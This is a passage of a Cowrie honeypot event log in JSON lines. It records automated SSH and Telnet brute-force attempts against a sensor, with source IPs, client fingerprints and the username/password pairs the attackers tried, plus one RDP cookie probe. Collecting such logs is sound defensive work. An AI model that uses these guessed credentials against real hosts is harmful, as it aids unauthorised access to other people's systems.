{"eventid":"cowrie.login.failed","username":"root","password":"hrb123","message":"login attempt [root/hrb123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:06.417001Z","src_ip":"102.88.137.145","session":"90a2cec9c793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:07.603535Z","src_ip":"102.88.137.145","session":"90a2cec9c793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.80143427848816,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:16.955863Z","src_ip":"192.119.13.58","session":"49b59c19d515","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.956013679504395,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:17.146601Z","src_ip":"192.119.13.58","session":"7a3c25447c27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.98994469642639,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:18.328871Z","src_ip":"192.119.13.58","session":"b42b84067e27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":39216,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9030a2adc1b","protocol":"ssh","message":"New connection: 43.156.39.221:39216 (10.17.0.5:22) [session: b9030a2adc1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:23.543954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:23.549264Z","src_ip":"43.156.39.221","session":"b9030a2adc1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:23.788048Z","src_ip":"43.156.39.221","session":"b9030a2adc1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cactiuser","message":"login attempt [root/cactiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:24.771681Z","src_ip":"43.156.39.221","session":"b9030a2adc1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:26.015597Z","src_ip":"43.156.39.221","session":"b9030a2adc1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39222,"dst_ip":"10.17.0.5","dst_port":23,"session":"be6b2de58e13","protocol":"telnet","message":"New connection: 192.119.13.58:39222 (10.17.0.5:23) [session: be6b2de58e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:28.027636Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56485,"dst_ip":"159.203.135.109","dst_port":22,"session":"b53e9961388f","protocol":"ssh","message":"New connection: 167.172.81.52:56485 (159.203.135.109:22) [session: b53e9961388f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:33.820086Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:33.833771Z","src_ip":"167.172.81.52","session":"b53e9961388f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:33.839074Z","src_ip":"167.172.81.52","session":"b53e9961388f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44210,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ec3ba2876a2","protocol":"telnet","message":"New connection: 192.119.13.58:44210 (10.17.0.5:23) [session: 9ec3ba2876a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:36.715957Z"}
{"eventid":"cowrie.session.closed","duration":0.0051555633544921875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:36.720966Z","src_ip":"192.119.13.58","session":"9ec3ba2876a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":55110,"dst_ip":"10.17.0.5","dst_port":22,"session":"69e7ca49c27b","protocol":"ssh","message":"New connection: 89.110.87.138:55110 (10.17.0.5:22) [session: 69e7ca49c27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:51.791973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:51.796890Z","src_ip":"89.110.87.138","session":"69e7ca49c27b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:51.917549Z","src_ip":"89.110.87.138","session":"69e7ca49c27b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yamaha","message":"login attempt [root/yamaha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:52.425736Z","src_ip":"89.110.87.138","session":"69e7ca49c27b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":57065,"dst_ip":"159.203.135.109","dst_port":23,"session":"13f98d444ce5","protocol":"telnet","message":"New connection: 186.195.16.41:57065 (159.203.135.109:23) [session: 13f98d444ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:52.681750Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:06:53.548127Z","src_ip":"89.110.87.138","session":"69e7ca49c27b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":47708,"dst_ip":"159.203.135.109","dst_port":22,"session":"d67d8a857f8c","protocol":"ssh","message":"New connection: 77.94.47.83:47708 (159.203.135.109:22) [session: d67d8a857f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:11.430565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:11.435328Z","src_ip":"77.94.47.83","session":"d67d8a857f8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:11.561789Z","src_ip":"77.94.47.83","session":"d67d8a857f8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:11.940978Z","src_ip":"77.94.47.83","session":"d67d8a857f8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:13.067783Z","src_ip":"77.94.47.83","session":"d67d8a857f8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48258,"dst_ip":"10.17.0.5","dst_port":23,"session":"a41c807333a2","protocol":"telnet","message":"New connection: 192.119.13.58:48258 (10.17.0.5:23) [session: a41c807333a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:15.716977Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49450,"dst_ip":"10.17.0.5","dst_port":23,"session":"697221e78ab8","protocol":"telnet","message":"New connection: 192.119.13.58:49450 (10.17.0.5:23) [session: 697221e78ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:15.968847Z"}
{"eventid":"cowrie.session.closed","duration":48.239441871643066,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:16.266953Z","src_ip":"192.119.13.58","session":"be6b2de58e13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":23138,"dst_ip":"159.203.135.109","dst_port":22,"session":"885fac804159","protocol":"ssh","message":"New connection: 213.209.159.56:23138 (159.203.135.109:22) [session: 885fac804159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:21.354965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:21.359881Z","src_ip":"213.209.159.56","session":"885fac804159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:21.442445Z","src_ip":"213.209.159.56","session":"885fac804159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pranav","password":"pranav","message":"login attempt [pranav/pranav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:21.843469Z","src_ip":"213.209.159.56","session":"885fac804159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pranav","password":"pranav1","message":"login attempt [pranav/pranav1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:22.928643Z","src_ip":"213.209.159.56","session":"885fac804159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pranav","password":"pranav123","message":"login attempt [pranav/pranav123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:24.013597Z","src_ip":"213.209.159.56","session":"885fac804159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pranav","password":"pranav1234","message":"login attempt [pranav/pranav1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:25.099049Z","src_ip":"213.209.159.56","session":"885fac804159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pranav","password":"pranav12345","message":"login attempt [pranav/pranav12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:26.184352Z","src_ip":"213.209.159.56","session":"885fac804159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:27.269667Z","src_ip":"213.209.159.56","session":"885fac804159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":53547,"dst_ip":"159.203.135.109","dst_port":22,"session":"66ab37ff02e3","protocol":"ssh","message":"New connection: 103.219.170.37:53547 (159.203.135.109:22) [session: 66ab37ff02e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:34.739667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:34.753091Z","src_ip":"103.219.170.37","session":"66ab37ff02e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:34.822291Z","src_ip":"103.219.170.37","session":"66ab37ff02e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fr33d0m","message":"login attempt [root/fr33d0m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:35.033088Z","src_ip":"103.219.170.37","session":"66ab37ff02e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00096917152405,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:36.076993Z","src_ip":"81.143.237.191","session":"77df6f38cbec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:36.104309Z","src_ip":"103.219.170.37","session":"66ab37ff02e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34020,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa1d4a17e201","protocol":"telnet","message":"New connection: 192.119.13.58:34020 (10.17.0.5:23) [session: aa1d4a17e201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:42.114698Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":59668,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a8f252f2ae0","protocol":"ssh","message":"New connection: 102.88.137.145:59668 (10.17.0.5:22) [session: 5a8f252f2ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:42.952679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:42.958438Z","src_ip":"102.88.137.145","session":"5a8f252f2ae0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:43.137921Z","src_ip":"102.88.137.145","session":"5a8f252f2ae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"squid","message":"login attempt [root/squid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:43.886710Z","src_ip":"102.88.137.145","session":"5a8f252f2ae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":37074,"dst_ip":"10.17.0.5","dst_port":22,"session":"98d53c2a146e","protocol":"ssh","message":"New connection: 43.156.39.221:37074 (10.17.0.5:22) [session: 98d53c2a146e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:44.239503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:07:44.247431Z","src_ip":"43.156.39.221","session":"98d53c2a146e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-